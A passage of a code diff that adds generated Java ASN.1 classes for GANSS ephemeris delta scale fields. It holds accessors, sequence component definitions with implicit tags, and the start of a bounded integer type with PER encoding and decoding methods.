+ return false;
+ }
+
+
+ private GANSSEphemerisDeltaScales.scale_delta_omegaType scale_delta_omega_;
+ public GANSSEphemerisDeltaScales.scale_delta_omegaType getScale_delta_omega() {
+ return scale_delta_omega_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_omegaType
+ */
+ public void setScale_delta_omega(Asn1Object value) {
+ this.scale_delta_omega_ = (GANSSEphemerisDeltaScales.scale_delta_omegaType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_omegaType setScale_delta_omegaToNewInstance() {
+ scale_delta_omega_ = new GANSSEphemerisDeltaScales.scale_delta_omegaType();
+ return scale_delta_omega_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_deltaNType scale_delta_deltaN_;
+ public GANSSEphemerisDeltaScales.scale_delta_deltaNType getScale_delta_deltaN() {
+ return scale_delta_deltaN_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_deltaNType
+ */
+ public void setScale_delta_deltaN(Asn1Object value) {
+ this.scale_delta_deltaN_ = (GANSSEphemerisDeltaScales.scale_delta_deltaNType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_deltaNType setScale_delta_deltaNToNewInstance() {
+ scale_delta_deltaN_ = new GANSSEphemerisDeltaScales.scale_delta_deltaNType();
+ return scale_delta_deltaN_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_m0Type scale_delta_m0_;
+ public GANSSEphemerisDeltaScales.scale_delta_m0Type getScale_delta_m0() {
+ return scale_delta_m0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_m0Type
+ */
+ public void setScale_delta_m0(Asn1Object value) {
+ this.scale_delta_m0_ = (GANSSEphemerisDeltaScales.scale_delta_m0Type) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_m0Type setScale_delta_m0ToNewInstance() {
+ scale_delta_m0_ = new GANSSEphemerisDeltaScales.scale_delta_m0Type();
+ return scale_delta_m0_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_omegadotType scale_delta_omegadot_;
+ public GANSSEphemerisDeltaScales.scale_delta_omegadotType getScale_delta_omegadot() {
+ return scale_delta_omegadot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_omegadotType
+ */
+ public void setScale_delta_omegadot(Asn1Object value) {
+ this.scale_delta_omegadot_ = (GANSSEphemerisDeltaScales.scale_delta_omegadotType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_omegadotType setScale_delta_omegadotToNewInstance() {
+ scale_delta_omegadot_ = new GANSSEphemerisDeltaScales.scale_delta_omegadotType();
+ return scale_delta_omegadot_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_eType scale_delta_e_;
+ public GANSSEphemerisDeltaScales.scale_delta_eType getScale_delta_e() {
+ return scale_delta_e_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_eType
+ */
+ public void setScale_delta_e(Asn1Object value) {
+ this.scale_delta_e_ = (GANSSEphemerisDeltaScales.scale_delta_eType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_eType setScale_delta_eToNewInstance() {
+ scale_delta_e_ = new GANSSEphemerisDeltaScales.scale_delta_eType();
+ return scale_delta_e_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_idotType scale_delta_idot_;
+ public GANSSEphemerisDeltaScales.scale_delta_idotType getScale_delta_idot() {
+ return scale_delta_idot_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_idotType
+ */
+ public void setScale_delta_idot(Asn1Object value) {
+ this.scale_delta_idot_ = (GANSSEphemerisDeltaScales.scale_delta_idotType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_idotType setScale_delta_idotToNewInstance() {
+ scale_delta_idot_ = new GANSSEphemerisDeltaScales.scale_delta_idotType();
+ return scale_delta_idot_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_sqrtAType scale_delta_sqrtA_;
+ public GANSSEphemerisDeltaScales.scale_delta_sqrtAType getScale_delta_sqrtA() {
+ return scale_delta_sqrtA_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_sqrtAType
+ */
+ public void setScale_delta_sqrtA(Asn1Object value) {
+ this.scale_delta_sqrtA_ = (GANSSEphemerisDeltaScales.scale_delta_sqrtAType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_sqrtAType setScale_delta_sqrtAToNewInstance() {
+ scale_delta_sqrtA_ = new GANSSEphemerisDeltaScales.scale_delta_sqrtAType();
+ return scale_delta_sqrtA_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_i0Type scale_delta_i0_;
+ public GANSSEphemerisDeltaScales.scale_delta_i0Type getScale_delta_i0() {
+ return scale_delta_i0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_i0Type
+ */
+ public void setScale_delta_i0(Asn1Object value) {
+ this.scale_delta_i0_ = (GANSSEphemerisDeltaScales.scale_delta_i0Type) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_i0Type setScale_delta_i0ToNewInstance() {
+ scale_delta_i0_ = new GANSSEphemerisDeltaScales.scale_delta_i0Type();
+ return scale_delta_i0_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_omega0Type scale_delta_omega0_;
+ public GANSSEphemerisDeltaScales.scale_delta_omega0Type getScale_delta_omega0() {
+ return scale_delta_omega0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_omega0Type
+ */
+ public void setScale_delta_omega0(Asn1Object value) {
+ this.scale_delta_omega0_ = (GANSSEphemerisDeltaScales.scale_delta_omega0Type) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_omega0Type setScale_delta_omega0ToNewInstance() {
+ scale_delta_omega0_ = new GANSSEphemerisDeltaScales.scale_delta_omega0Type();
+ return scale_delta_omega0_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_crsType scale_delta_crs_;
+ public GANSSEphemerisDeltaScales.scale_delta_crsType getScale_delta_crs() {
+ return scale_delta_crs_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_crsType
+ */
+ public void setScale_delta_crs(Asn1Object value) {
+ this.scale_delta_crs_ = (GANSSEphemerisDeltaScales.scale_delta_crsType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_crsType setScale_delta_crsToNewInstance() {
+ scale_delta_crs_ = new GANSSEphemerisDeltaScales.scale_delta_crsType();
+ return scale_delta_crs_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_cisType scale_delta_cis_;
+ public GANSSEphemerisDeltaScales.scale_delta_cisType getScale_delta_cis() {
+ return scale_delta_cis_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_cisType
+ */
+ public void setScale_delta_cis(Asn1Object value) {
+ this.scale_delta_cis_ = (GANSSEphemerisDeltaScales.scale_delta_cisType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_cisType setScale_delta_cisToNewInstance() {
+ scale_delta_cis_ = new GANSSEphemerisDeltaScales.scale_delta_cisType();
+ return scale_delta_cis_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_cusType scale_delta_cus_;
+ public GANSSEphemerisDeltaScales.scale_delta_cusType getScale_delta_cus() {
+ return scale_delta_cus_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_cusType
+ */
+ public void setScale_delta_cus(Asn1Object value) {
+ this.scale_delta_cus_ = (GANSSEphemerisDeltaScales.scale_delta_cusType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_cusType setScale_delta_cusToNewInstance() {
+ scale_delta_cus_ = new GANSSEphemerisDeltaScales.scale_delta_cusType();
+ return scale_delta_cus_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_crcType scale_delta_crc_;
+ public GANSSEphemerisDeltaScales.scale_delta_crcType getScale_delta_crc() {
+ return scale_delta_crc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_crcType
+ */
+ public void setScale_delta_crc(Asn1Object value) {
+ this.scale_delta_crc_ = (GANSSEphemerisDeltaScales.scale_delta_crcType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_crcType setScale_delta_crcToNewInstance() {
+ scale_delta_crc_ = new GANSSEphemerisDeltaScales.scale_delta_crcType();
+ return scale_delta_crc_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_cicType scale_delta_cic_;
+ public GANSSEphemerisDeltaScales.scale_delta_cicType getScale_delta_cic() {
+ return scale_delta_cic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_cicType
+ */
+ public void setScale_delta_cic(Asn1Object value) {
+ this.scale_delta_cic_ = (GANSSEphemerisDeltaScales.scale_delta_cicType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_cicType setScale_delta_cicToNewInstance() {
+ scale_delta_cic_ = new GANSSEphemerisDeltaScales.scale_delta_cicType();
+ return scale_delta_cic_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_cucType scale_delta_cuc_;
+ public GANSSEphemerisDeltaScales.scale_delta_cucType getScale_delta_cuc() {
+ return scale_delta_cuc_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_cucType
+ */
+ public void setScale_delta_cuc(Asn1Object value) {
+ this.scale_delta_cuc_ = (GANSSEphemerisDeltaScales.scale_delta_cucType) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_cucType setScale_delta_cucToNewInstance() {
+ scale_delta_cuc_ = new GANSSEphemerisDeltaScales.scale_delta_cucType();
+ return scale_delta_cuc_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_tgd1Type scale_delta_tgd1_;
+ public GANSSEphemerisDeltaScales.scale_delta_tgd1Type getScale_delta_tgd1() {
+ return scale_delta_tgd1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_tgd1Type
+ */
+ public void setScale_delta_tgd1(Asn1Object value) {
+ this.scale_delta_tgd1_ = (GANSSEphemerisDeltaScales.scale_delta_tgd1Type) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_tgd1Type setScale_delta_tgd1ToNewInstance() {
+ scale_delta_tgd1_ = new GANSSEphemerisDeltaScales.scale_delta_tgd1Type();
+ return scale_delta_tgd1_;
+ }
+
+ private GANSSEphemerisDeltaScales.scale_delta_tgd2Type scale_delta_tgd2_;
+ public GANSSEphemerisDeltaScales.scale_delta_tgd2Type getScale_delta_tgd2() {
+ return scale_delta_tgd2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSEphemerisDeltaScales.scale_delta_tgd2Type
+ */
+ public void setScale_delta_tgd2(Asn1Object value) {
+ this.scale_delta_tgd2_ = (GANSSEphemerisDeltaScales.scale_delta_tgd2Type) value;
+ }
+ public GANSSEphemerisDeltaScales.scale_delta_tgd2Type setScale_delta_tgd2ToNewInstance() {
+ scale_delta_tgd2_ = new GANSSEphemerisDeltaScales.scale_delta_tgd2Type();
+ return scale_delta_tgd2_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omega() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omega();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omegaToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_omegaType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omega : "
+ + getScale_delta_omega().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_deltaN() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_deltaN();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_deltaNToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_deltaNType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_deltaN : "
+ + getScale_delta_deltaN().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_m0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_m0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_m0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_m0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_m0 : "
+ + getScale_delta_m0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omegadot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omegadot();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omegadotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_omegadotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omegadot : "
+ + getScale_delta_omegadot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_e() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_e();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_eToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_eType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_e : "
+ + getScale_delta_e().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_idot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_idot();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_idotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_idotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_idot : "
+ + getScale_delta_idot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 6);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_sqrtA() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_sqrtA();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_sqrtAToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_sqrtAType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_sqrtA : "
+ + getScale_delta_sqrtA().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 7);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_i0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_i0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_i0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_i0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_i0 : "
+ + getScale_delta_i0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 8);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_omega0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_omega0();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_omega0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_omega0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_omega0 : "
+ + getScale_delta_omega0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 9);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_crs() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_crs();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_crsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_crsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_crs : "
+ + getScale_delta_crs().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cis() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cis();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cisToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_cisType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cis : "
+ + getScale_delta_cis().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 11);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cus() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cus();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cusToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_cusType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cus : "
+ + getScale_delta_cus().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 12);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_crc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_crc();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_crcToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_crcType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_crc : "
+ + getScale_delta_crc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 13);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cic();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_cicType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cic : "
+ + getScale_delta_cic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 14);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_cuc() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_cuc();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_cucToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_cucType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_cuc : "
+ + getScale_delta_cuc().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 15);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_tgd1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_tgd1();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_tgd1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_tgd1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_tgd1 : "
+ + getScale_delta_tgd1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 16);
+
+ @Override public boolean isExplicitlySet() {
+ return getScale_delta_tgd2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getScale_delta_tgd2();
+ }
+
+ @Override public void setToNewInstance() {
+ setScale_delta_tgd2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSEphemerisDeltaScales.scale_delta_tgd2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "scale_delta_tgd2 : "
+ + getScale_delta_tgd2().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class scale_delta_omegaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_scale_delta_omegaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public scale_delta_omegaType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_scale_delta_omegaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_scale_delta_omegaType != null) {
+ return ImmutableList.of(TAG_scale_delta_omegaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new scale_delta_omegaType from encoded stream.
+ */
+ public static scale_delta_omegaType fromPerUnaligned(byte[] encodedBytes) {
+ scale_delta_omegaType result = new scale_delta_omegaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new scale_delta_omegaType from encoded stream.
+ */
+ public static scale_delta_omegaType fromPerAligned(byte[] encodedBytes) {
+ scale_delta_omegaType result = new scale_delta_omegaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
